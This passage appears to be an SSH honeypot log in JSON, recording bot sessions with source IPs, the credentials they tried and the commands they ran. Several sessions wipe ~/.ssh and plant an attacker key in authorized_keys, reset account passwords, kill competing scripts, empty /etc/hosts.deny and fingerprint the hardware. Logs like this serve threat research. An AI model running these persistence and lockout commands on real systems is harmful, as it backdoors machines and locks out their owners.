-l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:06:28.777713+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:06:29.390234+00:00","kind":"output","latency_ms":null,"data":" 13:06:29 up 7 days, 9:56, 0 user, load average: 0.29, 0.32, 0.31\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:06:29.685522+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:06:30.334433+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:06:30.632096+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:06:31.441133+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:06:31.737612+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:06:32.433531+00:00","kind":"output","latency_ms":null,"data":"top - 13:06:32 up 7 days, 9:56, 0 user, load average: 0.29, 0.32, 0.31\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:06:32.735894+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:06:33.567136+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:06:33.864413+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:06:34.681691+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:06:34.978831+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:06:35.282242+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:06:35.578066+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:06:36.915603+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:06:37.211827+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:06:39.055146+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Mm12345","method":"password","accepted":true,"tier":"other"}]} {"id":"bf51edf9-8aa7-445b-9559-41f3e4ad19b4","name":"steady-dewy-cicada","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":52632,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:06:21.822701+00:00","ended_at":"2026-08-27T13:06:22.986962+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"59a06842-b008-47bd-90f5-11fc6016047a","name":"sterling-plucky-owl","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":52630,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:06:20.166479+00:00","ended_at":"2026-08-27T13:06:21.227315+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"98f7846c-2b00-4d02-911d-880d43d131a8","name":"early-salty-marmot","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":43030,"username":"pivpn","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:06:02.636910+00:00","ended_at":"2026-08-27T13:06:04.735285+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-27T13:05:41.373420+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:05:41.699718+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:05:46.251481+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:05:47.151624+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:05:47.479836+00:00","kind":"input","latency_ms":null,"data":"echo -e \"pivpn1234\\n8ykTkKW4F36f\\n8ykTkKW4F36f\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:05:47.807659+00:00","kind":"input","latency_ms":null,"data":"echo \"pivpn1234\\n8ykTkKW4F36f\\n8ykTkKW4F36f\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:05:48.448145+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:05:49.141656+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:05:49.467332+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:05:50.593688+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:05:50.924372+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:05:52.316697+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:05:52.646141+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:05:53.167149+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:05:53.493997+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:05:53.943997+00:00","kind":"output","latency_ms":null,"data":" 13:05:53 up 7 days, 9:56, 0 user, load average: 0.07, 0.09, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:05:54.272169+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:05:55.442829+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:05:55.767719+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:05:56.089734+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:05:56.418171+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:05:58.433902+00:00","kind":"output","latency_ms":null,"data":"top - 13:05:58 up 7 days, 9:56, 0 user, load average: 0.07, 0.09, 0.05\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:05:58.763875+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:05:59.332287+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:05:59.660930+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:06:00.093873+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:06:00.420105+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:06:00.732959+00:00","kind":"output","latency_ms":null,"data":"pivpn"},{"seq":29,"at":"2026-08-27T13:06:01.062804+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:06:02.308884+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:06:02.637734+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:06:04.639129+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"pivpn","password":"pivpn1234","method":"password","accepted":true,"tier":"other"}]} {"id":"8ef102be-d7f7-4722-8090-9b150dc33035","name":"autumn-spirited-gecko","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":35964,"username":"pool","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":196,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T13:05:46.803147+00:00","ended_at":"2026-08-27T13:05:46.901605+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":737,"events":[{"seq":1,"at":"2026-08-27T13:05:44.775999+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T13:05:45.622682+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T13:05:45.819136+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T13:05:45.819609+00:00","kind":"output","latency_ms":null,"data":" 13:05:45 up 7 days, 9:55, 0 user, load average: 0.3, 0.35, 0.29"},{"seq":5,"at":"2026-08-27T13:05:46.017646+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T13:05:46.019090+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T13:05:46.212477+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T13:05:46.212773+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T13:05:46.409485+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T13:05:46.410225+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T13:05:46.606724+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T13:05:46.607194+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T13:05:46.804030+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T13:05:46.804380+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"pool","password":"pool","method":"password","accepted":true,"tier":"other"}]} {"id":"f22f078d-71e6-4fa6-9f72-21f02134b0ab","name":"breezy-dewy-moorhen","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":43052,"username":"pivpn","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:05:44.169440+00:00","ended_at":"2026-08-27T13:05:46.154659+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"pivpn","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9885b641-afdd-4307-bf50-787bdc971bc8","name":"arctic-brazen-dolphin","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":43038,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:05:42.444682+00:00","ended_at":"2026-08-27T13:05:43.476466+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e6a2b5f4-0d19-4c58-87c1-8d48697be742","name":"merry-ivory-sable","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":43500,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:05:26.428474+00:00","ended_at":"2026-08-27T13:05:28.473233+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b1086597-06dc-4518-9751-fb206b14ee80","name":"ashen-gilded-vole","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":43498,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:05:22.744051+00:00","ended_at":"2026-08-27T13:05:24.730143+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"06b773c3-cdcb-4622-8e22-7ade1bcc10d8","name":"proud-gallant-whimbrel","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":37892,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:05:19.157578+00:00","ended_at":"2026-08-27T13:05:20.455268+00:00","ended_reason":"exec complete","commands":1,"transcript_bytes":65,"events":[{"seq":1,"at":"2026-08-27T13:05:19.158382+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:05:19.883060+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"}],"credentials":[{"username":"root","password":"cq@123456","method":"password","accepted":true,"tier":"other"}]} {"id":"3dba8f9a-97f8-4b75-830b-dcc5bffc433e","name":"lofty-curious-stoat","protocol":"ssh","channel_kind":null,"src_ip":"63.141.242.2","src_port":49160,"username":"user","client_version":"SSH-2.0-PuTTY_Release_0.70","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:04:33.867640+00:00","ended_at":"2026-08-27T13:04:57.167873+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"kisan","method":"password","accepted":true,"tier":"other"}]} {"id":"459198e0-3ad0-4842-ac57-15bd9617cee7","name":"alpine-mindful-meerkat","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":39800,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":298,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:04:33.784479+00:00","ended_at":"2026-08-27T13:04:35.010501+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T13:04:14.451249+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:04:14.750743+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:04:18.852301+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:04:19.375533+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:04:19.675409+00:00","kind":"input","latency_ms":null,"data":"echo \"root:t1kwNNSMI2xE\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:04:19.973789+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:04:20.272395+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:04:20.875459+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:04:21.178665+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:04:22.169620+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:04:22.470282+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:04:23.517713+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:04:23.819899+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:04:24.673161+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:04:24.971087+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:04:25.473500+00:00","kind":"output","latency_ms":null,"data":" 13:04:25 up 7 days, 9:54, 0 user, load average: 0.04, 0.02, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:04:25.772357+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:04:26.249634+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:04:26.549253+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:04:27.384428+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:04:27.686642+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:04:28.385793+00:00","kind":"output","latency_ms":null,"data":"top - 13:04:28 up 7 days, 9:54, 0 user, load average: 0.04, 0.02, 0.03\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:04:28.684088+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:04:29.546002+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:04:29.844413+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:04:30.732772+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:04:31.030224+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:04:31.675943+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:04:31.975839+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:04:33.485568+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:04:33.785280+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:04:34.923412+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Yx123456!","method":"password","accepted":true,"tier":"other"}]} {"id":"495b9dcc-5498-4d32-8fdd-007068a0e981","name":"gleaming-ivory-skua","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":58480,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:04:17.828089+00:00","ended_at":"2026-08-27T13:04:18.764390+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2cd7ed48-7673-44f3-b81e-5b43965843b8","name":"northern-thawing-mallard","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":58474,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:04:15.467749+00:00","ended_at":"2026-08-27T13:04:17.244309+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"5a3174d7-8e96-4b90-aa2a-2e5a18678ffd","name":"gilded-gnarled-starling","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":47522,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":329,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:04:05.419096+00:00","ended_at":"2026-08-27T13:04:06.597421+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-27T13:03:35.782592+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:03:36.109953+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:03:40.453312+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:03:41.671152+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:03:42.006377+00:00","kind":"input","latency_ms":null,"data":"echo -e \"user123456\\nG58SfTYjUgOu\\nG58SfTYjUgOu\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:03:42.341153+00:00","kind":"input","latency_ms":null,"data":"echo \"user123456\\nG58SfTYjUgOu\\nG58SfTYjUgOu\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:03:42.674942+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:03:43.361567+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T13:03:44.058262+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T13:03:44.758771+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T13:03:45.088063+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T13:03:46.542445+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:03:46.872822+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T13:03:49.034000+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T13:03:49.363568+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T13:03:50.510314+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab 